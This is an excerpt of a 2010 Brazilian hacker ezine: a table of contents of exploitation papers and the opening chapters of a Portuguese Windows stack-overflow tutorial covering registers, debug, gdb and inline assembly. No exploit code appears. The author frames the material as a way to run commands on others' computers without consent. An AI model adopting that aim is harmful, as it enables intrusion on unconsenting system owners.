============================================= =========== Corporacao Vibora ============== hacking the matrix since 2006 + The Brazilian underground scene + ============================================ Title : Viper Corp Collection - number 0x01 Author : David Diego D. Firmino Siqueira Emails : b-fox@bol.com.br and ratao666@hotmail.com +------------------------------------------------------------------+ | - The Mission Starts Here - [s] | +------------------------------------------------------------------+ [0x00] - Explorando Stack Overflow no Windows - PARTE 1 [0x00] [0x01] - Heap Overflow (Parity bit edition\r\n) [0x00] [0x02] - Introduction to shellcoding for linux [0x00] [0x03] - Tutorial basico do GCC [0x00] [0x04] - Berkeley socket em C [_Parte1] [0x00] [0x05] - Entendendo DMZ's & NAT's [0x00] [0x06] - Uma base sobre IP Spoofing, Smurf e Finger Printing. [0x00] [0x07] - O header IP v4 + UDP e seguimentos - PARTE 1 [0x00] [0x08] - Encapsulamento de dados OSI e TCP/IP [0x00] [0x09] - Burlando Filtros de URL [0x00] [0x10] - C.O.D.E Computadores orgasmo destruicao Ezines 0x02 [0x00] +------------------------------------------------------------------+ |++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++| +------------------------------------------------------------------+ W.A.R.N.I.N.G < ------------------- Major report - Please read ----------------------------- > In the third and some others papers exist many brazilian typical words and some quotes used only in my country, this words usually are recognized just by brazilians and studants of portuguese. Remember my friend, I publish my texts in american pages also by the cultural purpose. The most of these papers was created when I had seventeen yeard old (I was a wild child :). This text was compiled to hackers from others countries to show our hacker culture too. This is not a zine, is a sample collection of papers completly written by 6_Bl4ck9_f0x6 . Obviously from collector to collectors. A huge hug to you brother [s] ------------------------------------------------------------------------------------ 14:08 11/4/2010 - First of all some humor In my country these things below aren't often ehehe, but we never know :) Following the first case describing why you may must to read this file (You should not lose nothing): When you hear or read things how "to stop hackers to wreak havoc on your system using malicious programs called expleet, use the codes described on the pages of this book", and after that buys a stupid book containing idiot commands written in Assembly language and a guy after that says aloud from another side of the street "Are you retarded? This book is a complete drug! You're crazy!! Lame!" you feel the bad eheheh. When you starts your OS and don't know what to do but stays sited in front of it just by the obessession and somebody (your cousin or partner) says aloud "Lame!!!" you feel the evil. When your girlfriend is playing Quake III or Doom or listening some music wheeling her head and her machine stops and she call you and you don't know to fix the problem... do you cry? :) if you want to be a good hacker but don't understand nothing in the texts thereby (unlike this), and when you walk lose the staircase for a while because of complicated texts, don't care more friend. To avoid that cases I made this collections written almost totally in brazilian portuguese, learn two languages or more friends, just to drill your mind! Wil be good! Sorry my poor english, isn't my native language! eheh I'm afraid to learn spanish (is much hard), but portuguese is much easy! You'll need to exploit security holes on machines from Brazil. This text has warranty, we members of the Viper Corp (Brazilian security group) give the whole warranty on the informations in this documentation. I'll offer this great collection to Julinha 'Aka Little Witch e a Silvio Santos por ter deixado os caras passar 'Os Ursinhos Carinhosos' quando eu era crianca ,) Good Links following: [*] - http://wWw.thebugmagazine.org [*] - http://wWw.tty64.org [*] - http://wWw.packetstormsecurity.com [*] - http://wWw.milw0rm.com [*] - http://wWw.kernelhacking.com [*] - http://wWw.w00w00.org [*] - http://wWw.hunterhacker.xpg.com.br/244.txt [*] - http://wWw.risesecurity.org []'s by 6_Bl4ck9_f0x6 - Viper Corp Group ============================================ =========== CORPORACAO VIBORA ============== 2006-2008 A.C.H.U.B A Cena Hacker Underground Brasileira. ============================================ char *titulo[]={ "[=] + =========================[####]========================== + [=]\n", " *** ----=[ Explorando Stack Overflow no Windows ]=---- *** \n", " *** ----=[ PARTE 1 - Entendendo o stack frame ]=---- \n", "[=] + =========================[####]========================= + [=]\n\n"}; "O verdadeiro ator e aquele que nao conhece a si proprio..." -- 6_Bl4ck9_f0x6 Author : 6_Bl4ck9_f0x6 A.k.a : David Diego Dennys F. Siqueira. e-mail : b-fox [at] bol [dot] com [dot] br Milw0rm : http://www.milw0rm.com/author/1863/ About this text: I wrote this text for to expand knowledge for new hackers from Brazil and of the all world. I hope you like and if you want send me some mails. This text also was written as protest because exist many 'White Hats' in the Brazil and they don't want to teach nothing, to write friend, prove you aren't died and to write! I didn't see nothing of good in the texts of the brazilians, then this text was writed. Thank's for to read. Enjoy of this text my friend and spit on face of this stupids white hats. Fuck Security industry, fuck full disclosure. Good reading... [0x01] - Introducao - [0x01] [0x02] - Pre-requisitos - [0x02] [0x03] - Um pouco sobre Registers - [0x03] [0x04] - Instructions set - [0x04] [0x05] - GNU debugger - gdb - [0x05] [0x06] - gcc in-line - [0x06] [0x07] - Modos de enderecamento - [0x07] [0x08] - Funcionamento basico da stack - [0x08] [0x09] - O stack frame - [0x09] [0x0A] - Como acontece o stack overflow - [0x0A] [0x0B] - Seu primeiro exploit (local) - [0x0B] [0x0C] - Exploracao remota - [0x0C] [0x0E] - Consideracoes finais - [0x0E] ----- Capitulo 0x01 [=] + =========================================== + [=] -----=[ Introducao ]=----- [=] + =========================================== + [=] Com este texto pretendo abordar o funcionamento do stack frame sobre arquitetura x86 (w32) e pretendo mostrar tecnicas de exploracao do mesmo tanto local, como remota. Aqui, todo o processo sera demonstrado passo a passo, pois todos sabemos a carencia que o Brasil tem de textos em portugues que descrevam tal tecnica "para windows" e em uma linguagem de facil "entendimento" para nossos jovens hackers, que levarao nossa linhagem especial adiante; Neste paper voce conhecera o stack frame e tambem sabera como manipula-lo para faze-lo re- tornar a um endereco de memoria especifico. No proximo texto demonstrarei manipulacao de shellcodes para a exploracao de stack overflows no windows. Tambem escrevi este texto com o intuito de aumentar o arsenal do milw0rm e para elevar o prestigio de meu pais aos olhos de nossos irmaos hackers do mundo que acessam diariamente o milw0rm, porque todos sabemos que no Brasil existe uma falta muito grande de profissionais de qualidade na area de SI - Seguranca da Informacao, e como se nao bastasse o nome do hacking Brasileiro esta sendo sujo a cada dia por alguns Sk's - Script kiddies que a unica coisa que fazem e usar trojans escritos por terceiros e fazer deface por php em sites nunca antes vistos por eles, que por sinal sao muito mau administrados pelo outro lado da corja, os falsos profissionais de seguranca (Nao "hackers"). Gostaria de fazer um pedido a esses seres imprestaveis: "Parem de sujar nosso nome." A "verdadeira" cena hacker do Brasil agradece. Tambem gostaria de dedicar mais esse texto ao str0ke, por estar sempre disposto a abrir portas para a divulgacao de meu trabalho, ao 'Edu' que brevemente fara o que pedi com relacao a area Brasil do blackhat-forums.com ;), F3rGO, Dark_Side, blackwinner, e a todas as mulheres do mundo, pois sem elas nossas vidas masculinas totalmente inuteis nao teria sentido algum. Com o conhecimento que aqui sera descrito voce aprendera a executar comandos em qualquer computador do mundo, que esti- ver conectado a internet, sem o concentimento do proprietario da maquina, bastando explo- rar aplicacoes inseguras em execucao nas maquinas que serao invadidas, literalmente, por "nos", hackers de sangue puro. ----- Capitulo 0x02 [=] + =========================================== + [=] -----=[ Pre-requisitos ]=----- [=] + =========================================== + [=] Como neste texto pretendo abordar passo a passo o processo de exploracao, entao nao se faz "necessario" que va procurar informacoes sobre a linguagem assembly em outro texto para comecar a "entender" como explorar falhas de stack overflow, pois toda a base se encontra neste documento. E claro que voce precisara ter um bom entendimento de assembly para poder desenvolver shellcodes, mas por hora a unica coisa que voce precisara e deste documento. Ao termino da leitura deste .txt recomendo que procure algum curso de assembly para uma melhor compreensao do que sera demonstrado aqui, os mecanismos de buscas atuais sao exce- lentes. O 'real' pre-requisito (Mais que previsivel), sera que o leitor tenha conhecimen- tos intermediarios da linguagem C[1], para uma "melhor" compreensao deste texto. Entendi- mento de enderecos de memoria e da base de enderecamento hexadecimal[2] tambem se faz ne- cessario. As ferramentas necessarias/utilizadas aqui serao o gcc e o gdb. Para obter essas ferramentas voce apenas precisa baixar o DEV-C++. Este e sem duvida nenhuma um dos melho- res IDE's do mundo e pode ser encontrado em http://www.bloodshed.net . Os binarios neces- sarios se encontram no diretorio '\Dev-Cpp\bin', voce podera inserir uma entrada estati- ca no PATH do sistema para encontrar este diretorio com o comando PATH=%PATH%;\Dev-Cpp\bin inserido em \autoexec.bat . ----- Capitulo 0x03 [=] + =========================================== + [=] -----=[ Um pouco sobre Registers ]=----- [=] + =========================================== + [=] Podemos "comparar" um registrador a uma variavel, no qual armazenam valores diversos. Na linguagem de programacao assembly existem os registradores de "uso geral" (no qual podem armazenar qualquer valor/dados) e os registradores especiais. Nem todos os registradores podem ser usados para armazenar valores inseridos por nos diretamente, como o registrador eip (incluido na classe dos registradores especiais). Cada registrador possue uma deter- minada funcao, nos *nixes os registradores de uso geral alem de poderem ser usados para o armazenamento de qualquer tipo de dado, possuem funcoes exclusivas na execucao de uma syscall por exemplo, como o "armazenamento" de valores de retorno das mesmas (eax) caso retornem algo, e seus respectivos argumentos (ebx, ecx, edx, esi e edi respectivamente). Veja os registradores de uso geral. +=====+ | AX | Accumulator (Registrador Acumulador) +-----+ | BX | Base (Registrador de base ) +-----+ | CX | Counter (Registrador Contador) +-----+ | DX | Data (Registrador de dados) +=====+ Antes dos processadores 80386 esses registradores eram de 16 bits ( [short] 2 bytes), nos processadores atuais eles possuem 32 bits ( [long] 4 bytes). Esses registradores sao com- postos por uma parte alta ('H'igh) e baixa ('L'ow). Nesse caso cada parte equivale a '8' bits. Para uma melhor compreensao por parte do leitor sugiro que abram o debugador nativo do windows XP SP1 ou SP2 e outras versoes, me refiro ao propriamente dito: debug. Microsoft Windows XP [versão 5.1.2600] (C) Copyright 1985-2001 Microsoft Corp. C:\Documents and Settings\David>debug -r AX=0000 BX=0000 CX=0000 DX=0000 SP=FFEE BP=0000 SI=0000 DI=0000 DS=0D3C ES=0D3C SS=0D3C CS=0D3C IP=0100 NV UP EI PL NZ NA PO NC 0D3C:0100 288107CF SUB [BX+DI+CF07],AL DS:CF07=00 -q O comando 'r' e utilizado para visualizar os valores dos registradores. Note que apesar de estar em um x86, esses registradores equivalem a 16 bits. Isso se deve ao fato de eu estar em uma ferramenta ambientada para o antigo MS-DOS, portanto a mesma continua com seus pa- droes. Veja o registrador acumulador dividido em sua parte alta e baixa: AX = 00 00 (High <- Alta) (Low <- Baixa) No capitulo "Instructions Set" veremos como manipular apenas determinas partes de um re- gistrador. Como disse anteriormente, nos processadores atuais esses registradores equiva- lem a 32 bits, e para haver uma diferenciacao por parte dos programadores existe uma no- tacao que e utilizada para referenciar esses registers. Um 'E' de Extended. Que em portu- gues significa 'E'stendido. Isso referencia os registradores de 32 bits dos x86 . ========================== Registradores de uso geral ========================== +=====+ | EAX | Extended Accumulator -> Registrador Acumulador Extendido +-----+ | EBX | Extended Base -> Registrador de Base Extendido +-----+ | ECX | Extended Counter -> Registrador Contador Extendido +-----+ | EDX | Extended Data -> Rigistrador de Dados Extendido +=====+ Uma representacao ideal para esse registrador em sua parte alta e baixa seria essa: EAX = 0000 0000 (High <- Alta) (Low <- Baixa) Nesse caso cada lado deste registrador e de 16 bits. Somando assim 32 bits (4 bytes). Acredito que todos saibam que 8 bits equivalem a 1 byte. Veremos agora os registra- dores especiais, os que se referem ao stack frame (Descrito "adiante"). Nao citarei os registradores de segmento. ========================== Registradores especiais ========================== +=====+ | eip | Instruction pointer -> Ponteiro de instrucao extendido +-----+ | ebp | Base pointer -> Ponteiro de base extendido +-----+ | esp | Stack pointer -> Ponteiro de pilha extendido +-----+ Esses sao apenas alguns dos registradores especiais (Termo para referenciar os registers que nao sao de uso geral). O eip aponta para o endereco de memoria da proxima instrucao a ser executada, o ebp aponta para a base do stack e o esp aponta sempre para o topo da stack/pilha. No decorrer do texto voce ficara mais familiarizado com os mesmos. ----- Capitulo 0x04 [=] + =========================================== + [=] -----=[ Instructions set ]=----- [=] + =========================================== + [=] Instruction set, ou "conjunto de instrucoes", sao as instrucoes que utilizarao os regis- tradores. Essas instrucoes que sao responsaveis pela copia de um dado qualquer para um registrador ou dados de um registrador para o outro, por exemplo. Demonstrarei apenas algumas instrucoes, ou seja, apenas as que precisaremos para um "entendimento" do tema abordado neste documento. As instrucoes aceitas por um micro-processador ja sao determi- nadas de fabrica e voce podera ver as mesmas no site do fabricante (em instruction set). Veja o instruction set da familia x86 em www.x86.org . No momento apenas se faz necessa- rio o entendimento das descritas abaixo. Vamos usar mais uma vez o debug do windows, que sera excelente para um bom entendimento. Usaremos o comando 'a' (assemble) para iniciar o processo de marcacao de instrucoes para uma posterior execucao. C:\Documents and Settings\David>debug -a 0D3C:0100 Como voce pode ver, comecaremos a setar nossas instrucoes a partir do endereco 0100, en- dereco esse que e o reservado como endereco inicial para um programa MS-DOS de 16 bits. A primeira instrucao vista por nos sera a 'MOV', que movimenta (copia) dados. Vamos a um exemplo pratico. --=[ MOV ]=-- (C) Copyright 1985-2001 Microsoft Corp. C:\Documents and Settings\David>debug -a 0D3C:0100 MOV AX,10 ; Copia o numero 10 para a parte baixa de AX (AL) 0D3C:0103 MOV AX,1515 ; Copia 1515 para a parte alta e baixa de AX (15 15). 0D3C:0106 MOV BX,AX ; Copia AX (1515) para BX (BX = 1515) 0D3C:0108 ; [Enter] (...) Veja os comentarios a sua direita. Bem aqui uma ressalva deve ser feita. A sintaxe[4] utilizada acima, foi a INTEL, esta sintaxe determina que a origem sempre sera o dado da direita, e o destino de tal dado e o registrador da esquerda. A sintaxe AT&T, que e a utilizada nos *nixes, determina o oposto, ou seja, na sintaxe 'AT&T' a origem e o valor da esquerda, e o destino e o registrador da direita. O comando -T executa nossas instrucoes passao a passo (Step over). 0D3C:0100 MOV AX,10 (...) 0D3C:0108 ; [Enter] -T AX=0010 BX=0000 CX=0000 DX=0000 SP=FFEE BP=0000 SI=0000 DI=0000 DS=0D3C ES=0D3C SS=0D3C CS=0D3C IP=0103 NV UP EI PL NZ NA PO NC 0D3C:0103 B81515 MOV AX,1515 Veja que logo apos a execucao de nossa primeira instrucao, armazenada no endereco de memoria 0100, o registrador AX agora possui o valor 10 em sua parte baixa. Repare a- gora no registrador IP. Veja que ele aponta para a proxima instrucao a ser executa- ta, ou seja, a intrucao armazenada no endereco 0103 que e a MOV AX,1515 . Teclamos o comando 'T' mais uma vez e vemos o seguinte resultado: -T AX=1515 BX=0000 CX=0000 DX=0000 SP=FFEE BP=0000 SI=0000 DI=0000 DS=0D3C ES=0D3C SS=0D3C CS=0D3C IP=0106 NV UP EI PL NZ NA PO NC 0D3C:0106 89C3 MOV BX,AX Veja que AX agora possui o valor 1515 e o intruction pointer (IP) esta apontando para o endereco 0106, que e o endereco da proxima instrucao a ser executada (MOV BX,AX). -T AX=1515 BX=1515 CX=0000 DX=0000 SP=FFEE BP=0000 SI=0000 DI=0000 DS=0D3C ES=0D3C SS=0D3C CS=0D3C IP=0108 NV UP EI PL NZ NA PO NC 0D3C:0108 2911 SUB [BX+DI],DX DS:1515=2020 -Q C:\DOCUME~1\David> Veja que BX agora possui o mesmo valor de AX, ou seja, houve uma copia de dados. O comando 'Q' (Quit) sai do debug. Ainda podemos manipular somente partes baixas ou altas dos registradores bastando especificarmos o H ou L. Exemplo: MOV AH, 10 . --=[ CALL e NOP ]=-- A instrucao call (chamar) basicamente faz uma chamada a um endereco de memoria. Veja: (C) Copyright 1985-2001 Microsoft Corp. C:\Documents and Settings\David>debug -a 0D3C : 0100 NOP ; No operation. Instrucao de 1 byte 0D3C : 0101 NOP 0D3C : 0102 CALL 0100 ; Chama o endereco 0100 0D3C : 0105 Seg: [offset] Repare que a instrucao NOP (No operation) ou nenhuma operacao, equivale a 1 byte, pois ela se incia no endereco 0100 e o proximo endereco e o 0101. A instrucao 'NOP' (\x90) nao faz nada, quando o processador encontra essa instrucao ele imediatamente pula para a proxima instrucao. No offset '0102' do segmento de dados (DS = 0D3C) especifiquei a instrucao call seguida do endereco no qual quero "chamar". Quando executamos a instru- cao call o fluxo do programa imediatamente segue para o endereco chamado. A instrucao call chama o endereco e as instrucoes que se encontram no endereco chamado sao execu- tadas. No capitulo "Funcionamento basico da stack", veremos mais sobre essa instrucao. Podemos utilizar instrucoes que movimentam dados especificos, como movl, que movimenta um long, ou seja, os 4 bytes de um registrador extendido, e movb que movimenta um byte. Veja mais algumas instrucoes frequentemente usadas para desenvolvimento de shellcodes. --=[ INC ]=--- Incrementa em 1 o valor de um registrador. Sintaxe: 0D3C:0100 INC AX Logo apos essa intrucao AX (registrador de 16 bits) sera representado dessa forma: AX=0001 Podemos incrementar tambem apenas lados especificos de cada registrador. Veja mais exemplos de operacoes manipuladoras de lados altos e baixos: C:\DOCUME~1\David>debug -a 0D3C:0100 INC AH 0D3C:0102 INC AL 0D3C:0104 <--- [ENTER] -t AX=0100 BX=0000 CX=0000 DX=0000 SP=FFEE BP=0000 SI=0000 DI=0000 DS=0D3C ES=0D3C SS=0D3C CS=0D3C IP=0102 NV UP EI PL NZ NA PO NC 0D3C:0102 FEC0 INC AL -t AX=0101 BX=0000 CX=0000 DX=0000 SP=FFEE BP=0000 SI=0000 DI=0000 DS=0D3C ES=0D3C SS=0D3C CS=0D3C IP=0104 NV UP EI PL NZ NA PO NC 0D3C:0104 2882073C SUB [BP+SI+3C07],AL SS:3C07=00 -q --=[ DEC ]=--- A instrucao DEC faz o oposto da instrucao INC. Esta instrucao DECrementa o valor de um registrador em 1. Sintaxe(s): 1 - 0D3C:0100 DEC AX 2 - 0D3C:0100 DEC AH 3 - 0D3C:0100 DEC AL --=[ ADD ]=-- Essa instrucao "soma" os dados de origem com os dados de detino e o resultado e arma- zenado no destino. Exemplo: -a 0D3C:0100 MOV AX,10 ; <--- Copia 10 para AX 0D3C:0103 MOV BX,10 ; <--- Copia 10 para BX 0D3C:0106 ADD AX,BX ; <--- Soma AX + BX 0D3C:0108 Veja que copio o valor 10 para AX e para BX, depois somo os valores armazenados em ambos registradores e o resultado sera armazenado no registrador de destino, AX, pois estou u- tilizando a sintaxe INTEL. Entao, apos todas as instrucoes serem executadas o valor de AX sera 20. (...) -t AX=0020 BX=0010 CX=0000 DX=0000 SP=FFEE BP=0000 SI=0000 DI=0000 DS=0D3C ES=0D3C SS=0D3C CS=0D3C IP=010A NV UP EI PL NZ NA PO NC 0D3C:010A 253120 AND AX,2031 -q Repare aqui: AX=0020 --=[ SUB ]=-- A instrucao sub "SUBtrai" dois valores e armazena o resultado no registrador de destino. Exemplo: -A 0D3C:0100 MOV AX,F 0D3C:0103 SUB AX,1 0D3C:0106 -t AX=000F BX=0000 CX=0000 DX=0000 SP=FFEE BP=0000 SI=0000 DI=0000 DS=0D3C ES=0D3C SS=0D3C CS=0D3C IP=0103 NV UP EI PL NZ NA PO NC 0D3C:0103 2D0100 SUB AX,0001 -t AX=000E BX=0000 CX=0000 DX=0000 SP=FFEE BP=0000 SI=0000 DI=0000 DS=0D3C ES=0D3C SS=0D3C CS=0D3C IP=0106 NV UP EI PL NZ NA PO NC 0D3C:0106 07 POP ES -q Repare que o registrador AX depois da subtracao de 1, equivale a E. Lembre-se que registradores trabalham com a base hexadecimal[2], portanto um conhecimento sobre a mesma e mais que necessario. --=[ JMP ]=-- Essa instrucao salta (JuMP) para um determinado endereco de memoria, fazendo com que o fluxo do programa seja desviado para esse endereco. C:\Documents and Settings\David>debug -a 0D3C:0100 MOV DL,1 ; Move 1 para DL 0D3C:0102 INC DL ; Incrementa DL em 1 0D3C:0104 JMP 0100 ; Salta para o endereco inicial 0D3C:0106 Nesse exemplo acima, todas as vezes que o fluxo de dados chegar ao endereco 0104, ele saltara para o endereco inicial que continuara a executar as ins- trucoes anteriores ao salto, ou seja, 'DL' nao pararia de ser incrementado, mas devido a rotina, ele nao passaria do valor 2, pois a primeira instrucao sobrescreve o valor anterior. ================= Intrucoes logicas ================= Na linguagem binaria 1 e 0 significam verdadeiro e falso respectivamente. As instrucoes descritas a seguir comparam dois valores e retornam um valor verdadeiro ou falso, e o registrador de destino (sintaxe INTEL) que recebera os dados retornados. --=[ AND ]=-- Essa intrucao compara dois valores e retorna um valor verdadeiro se as duas instrucoes tambem forem verdadeiras. AND 1 1 = 1 AND 0 1 = 0 AND 1 0 = 0 AND 0 0 = 0 --=[ OR ]=-- A instrucao OR (ou) por sua vez requer que apenas um dos valores seja verdadeiros, para tambem retornar um valor positivo. Veja: OR 1 1 = 1 OR 1 0 = 1 OR 0 1 = 1 OR 0 0 = 0 --=[ XOR ]=-- Essa instrucao e quase igual ao OR, ela faz a comparacao de dois valores e apenas retorna um valor verdadeiro quando um deles ("apenas um") for tambem verdadeiro. Repito: Apenas um dos dois valores comparados deve ser '1 '(verdadeiro) para essa instrucao retornar um valor verdadeiro. C:\Documents and Settings\David>debug -A 0D3C:0100 MOV AX,1 ; Move 1 para AX 0D3C:0103 XOR AX,1 ; 1, 1 = 0 0D3C:0106 -t AX=0001 BX=0000 CX=0000 DX=0000 SP=FFEE BP=0000 SI=0000 DI=0000 DS=0D3C ES=0D3C SS=0D3C CS=0D3C IP=0103 NV UP EI PL NZ NA PO NC 0D3C:0103 350100 XOR AX,0001 Repare que o valor 1 foi copiado para AX, abaixo segue a instrucao que compara os valores referentes. -t AX=0000 BX=0000 CX=0000 DX=0000 SP=FFEE BP=0000 SI=0000 DI=0000 DS=0D3C ES=0D3C SS=0D3C CS=0D3C IP=0106 NV UP EI PL ZR NA PE NC 0D3C:0106 07 POP ES -q C:\DOCUME~1\David> Veja que o resultado foi falso, porque "apenas um" dos registradores tem que armazenar o valor 1 e nesse caso os dois valores envolvidos no teste eram 1, assim sobrescreven- do o valor que tinha sido previamente armazenado em AX ('1'), com o valor "retornado" pela operacao XOR (0). XOR 1 1 = 0 XOR 1 0 = 1 XOR 0 1 = 1 XOR 0 0 = 0 ----- Capitulo 0x05 [=] + =========================================== + [=] ---=[ GNU debugger - gdb ]=--- [=] + =========================================== + [=] O GDB e um debugger nativo dos *nixes/Linuxes, mas foi portado para arquitetura w32. Como o proprio nome ja dos diz, um debugger nada mais e do que o programa que nos mostrara os codigos internos de outro programa (por exemplo) em assembly. Recur- so esse que e muito util para sabermos o que o programa faz no nosso sistema quando seu codigo fonte nao e divulgado e para o descobrimento de bugs em nossos programas. Com um debugger podemos ver os "enderecos" de memoria utilizados pelos programas, suas bibliotecas, e tambem podemos modificar suas instrucoes internas. Se escrever- mos um programa usando a linguagem assembly, as instrucoes deste mesmo programa se- rao vistas em assembly no debugger, ou seja, na linguagem que escrevemos. Veja al- gumas opcoes que nos serao muito uteis para o completo entendimento da stack e um "entendimento" maior sobre o desenvolvimento de shellcodes tanto para windows quanto para *nixes/Linuxes. -q --> Esta opcao (Quiet) na chamada do programa nao emite banner do gdb. break --> Esta opcao seta um breakpoint, que nada mais e do que definir onde o programa sera "pausado" quando iniciarmos o mesmo ("run"). Cada break point recebe um numero de identificacao. disassemble --> Esta e a opcao que nos mostra o codigo em assembly propriamente di- to, ou seja, seguido de um frame, ela e capaz de nos mostrar todas as instrucoes daquele frame. run --> Esta opcao que sera utilizada para iniciar a execucao do programa dentro do debugger. Esta opcao pode ou nao receber argumentos. list --> Nos mostra os symbols armazenados na tabela de exportacao de symbols de um programa. info --> Usado para visualizarmos determinadas informacoes. Dentre elas po- podemos ressaltar: register (registrador) -> Exibe valores de registradores. breakpoints -> Exibe os breakpoints setados. Para maiores informacoes digite o comando 'info' no gdb, que lhe sera mostrado varias opcoes. del --> Remove um breakpoint especificado por um numero. Se este numero for omitido, todos os breakpoints serao deletados. file --> Carrega a tabela de symbols de um determinado programa. continue --> Continua a execucao do programa depois de uma parada (breakpoint). x/ --> Com esta opcao definimos alguns metodos uteis de visualizacao de dados do programa. Tais como: s --> Exibe a string ("texto") armazenada em um endereco. x --> Exibe os dados em hexadecimal. i --> Exibe a instrucao em assembly contida no endereco. b --> Um unico byte (opcode). ----- Capitulo 0x06 [=] + =========================================== + [=] -----=[ gcc in-line ]=----- [=] + =========================================== + [=] Com o gcc existe a possibilidade de insercao de instrucoes em assembly em codigos 'C', utilizando o recurso __asm ();, essa instrucao determina a inicializacao de instrucoes assembly. Com a utilizacao do gcc "in-line" podemos criar rotinas para execucao de shellcodes (citado adiante) utilizando assembly, entre varias outras boas utilidades. Este capitulo sera destinado a lhe dar uma melhor "firmacao" dos conhecimento descrito neste paper. As sintaxes utilizadas abaixo serao detalhadamente descritas no decorrer deste documento, portanto encare este capitulo apenas como uma "previa apresentacao" do que foi e do que lhe sera ensinado, pois a intencao deste texto e firmar o conhe- cimento em hacking na sua mente, nao dar exemplos vagos. Veja alguns exemplos de sin- taxes do gcc in-line: Exemplo I main (){ __asm (" NOP;NOP;NOP \n"); } Exemplo II main (){ __asm ( "NOP \n" "NOP "); } ====================== Entendendo os Symbols ====================== Resumidamente, o recurso de symbols nada mais e do que um recurso que salva em tempo de compilacao, em uma tabela, as instrucoes nativas (Codigo fonte) de um programa, nesse caso, escrito em C. Quando um programa e compilado voce pode decidir se deseja exportar symbols (Simbolos), ou nao. No processo de compilacao[5] de um programa, os codigos sao pre-processados e convertidos em assembly, depois seguem para mais processos, assim fa- zendo com que todas as linhas de codigo nativas, como variaveis e rotinas, que estao no formato escrito por voce, sejam perdidas. Assim seria impossivel de debuga-lo usando o gdb. Para compilar um programa com suporte a depuracao, basta usar a opcao -g do gcc. -- testing.c -- #include main (){ puts ("This is a test"); } -- cut here -- C:\>gcc testing.c -o test -g C:\>gdb test -q (gdb) list 1 #include 2 3 main (){ 4 5 puts ("This is a test"); 6 7 } (gdb) q Se nao compilarmos habilitando o suporte a debugging ao executavel, o resultado sera este apresentado abaixo. C:\>gcc testing.c -o test C:\>gdb test -q (no debugging symbols found)...(gdb) (gdb) q C:\> Um detalhe segue: Quando voce compila um programa utilizando o Dev-C++ o gcc usa a opcao -g por padrao (Underground blood). ==================================== Movimentacao de dados em gcc in-line ==================================== -- inline.c -- main (){ __asm ( "MOV $0xA, %ebx \n" "MOVL %ebx, %eax \n" ); } -- cut here -- Agora vamos "disassemblar" esse programa para vermos o estado do registrador eax. Primeiramente inicializo o gdb sem a emissao do banner do programa (-q) para logo depois visualizar os symbols do programa a ser debugado, ou seja, o seu codigo. C:\Documents and Settings\David\Desktop>gdb inline.exe -q (gdb) list 1 main (){ 2 3 __asm ( 4 5 "MOV $0xA, %ebx \n" 6 "MOVL %ebx, %eax \n" ); 7 8 } 9 Vamos agora usar o comando disassemble (abreviado para disass) seguido da parte do codigo que desejamos visualizar as instrucoes, ou seja, a parte do codigo que quero ver "disassemblada". Repare que utilizo um "symbol" para referencia-la. Nesse caso desejo ver as instrucoes a partir do entry point (ponto de entrada), main. O Entry point e o nome que se da ao local onde se iniciam os codigos. (gdb) disass main Dump of assembler code for function main: 0x401290
: push %ebp 0x401291 : mov %esp,%ebp 0x401293 : sub $0x8,%esp 0x401296 : and $0xfffffff0,%esp 0x401299 : mov $0x0,%eax 0x40129e : add $0xf,%eax 0x4012a1 : add $0xf,%eax 0x4012a4 : shr $0x4,%eax 0x4012a7 : shl $0x4,%eax 0x4012aa : mov %eax,0xfffffffc(%ebp) 0x4012ad : mov 0xfffffffc(%ebp),%eax 0x4012b0 : call 0x401710 <_alloca> 0x4012b5 : call 0x4013b0 <__main> 0x4012ba : mov $0xa,%ebx 0x4012bf : mov %ebx,%eax 0x4012c1 : leave 0x4012c2 : ret End of assembler dump. Eu poderia disassemblar qualquer symbol. Repare tambem que e "possivel" abreviar as intrucoes do gdb, info poderia ser apenas 'i', register poderia ser apenas 'r' e run poderia ser tambem apenas 'r'. Veja que as instrucoes escritas por nos se iniciam no endereco de memoria da instrucao 'main+42', ou seja, a partir do endereco 0x4012ba . E nessa instrucao ('42') de main que ha uma copia do valor em hexadecimal 'A' para o registrador ebx. O intuito aqui e visualizar o valor armazenado no registrador eax, e aprender mais sobre o gdb, portanto marcaremos um breakpoint na instrucao main+49 que e a instrucao seguinte a operacao de copia, assim poderemos ver o resultado da operacao anterior. (gdb) break *main+49 Breakpoint 1 at 0x4012c1: file C:/Documents and Settings/David/Desktop/inline.c, line 8. Marcamos o ponto de parada do programa apos sua execucao (comando run) dentro do de- bugger. Vamos ver informacoes sobre esse ponto de parada. (gdb) i breakpoints Num Type Disp Enb Address What 1 breakpoint keep y 0x004012c1 in main at C:/Documents and Settings/David/Desktop/inline.c:8 breakpoint already hit 1 time Acima podemos ver em que funcao o breakpoint esta setado, o endereco de memoria que esse breakpoint esta setado, o numero de identificacao deste breakpoint caso nos quisermos remove-lo (del 1), entre outras informacoes. Vamos iniciar a execucao do programa. (gdb) r Starting program: C:\Documents and Settings\David\Desktop/inline.exe Breakpoint 1, main () at C:/Documents and Settings/David/Desktop/inline.c:8 8 } O programa parou no breakpoint, vamos ver agora o valor de 'eax' e do registrador que aponta para a proxima instrucao a ser executada, o extended instruction pointer (eip). (gdb) i r eax eip eax 0xa 10 eip 0x4012c1 0x4012c1 Veja que nos e mostrado em hexadecimal (0xa) e em decimal (10) o valor contido no re- gistrador eax. Veja que o eip esta apontando para o endereco 0x4012c1, vamos ver que instrucao sera executada quando eu continuar a execucao do programa dentro do gdb. (gdb) x/i $eip 0x4012c1 : leave Veja que utilizo o cifrao ('$') para referenciar o registrador. Tambem veja que u- tilizo o parametro 'i' (instrucion) do x/ para visualizar a instrucao em assembly armazenada no endereco que o registrador eip aponta. Continuaremos a execucao do programa apos a parada e sairemos do gdb. (gdb) continue Continuing. Program exited with code 012. (gdb) quit ----- Capitulo 0x07 [=] + =========================================== + [=] -----=[ Modos de enderecamento ]=----- [=] + =========================================== + [=] Os modos de enderecamento sao os que vao determinar como os dados serao enderecados pelo processador. Cada instrucao em assembly e convertida no que costumamos chamar de opcode (Operation code - Codigo de operacao), que e a intrucao que o processador "realmente executa", instrucoes em assembly nada mais sao do que "representacoes legiveis" a essas intrucoes. Quando compilamos a instrucao 'NOP' por exemplo, o processador converte esta "representacao" no seu respectivo opcode. O opcode que representa essa instrucao e o '90', e esta instrucao em hexadecimal (opcode) que o processador realmente executa. Os instructions set sao convertidos em instrucoes hexadecimais, pelo processador, que fara um enderecamento de acordo com as instru- coes em assembly utilizadas. Basicamente existe '6' tipos de modos de enderecamento, que sao: 1 - Register Addressing 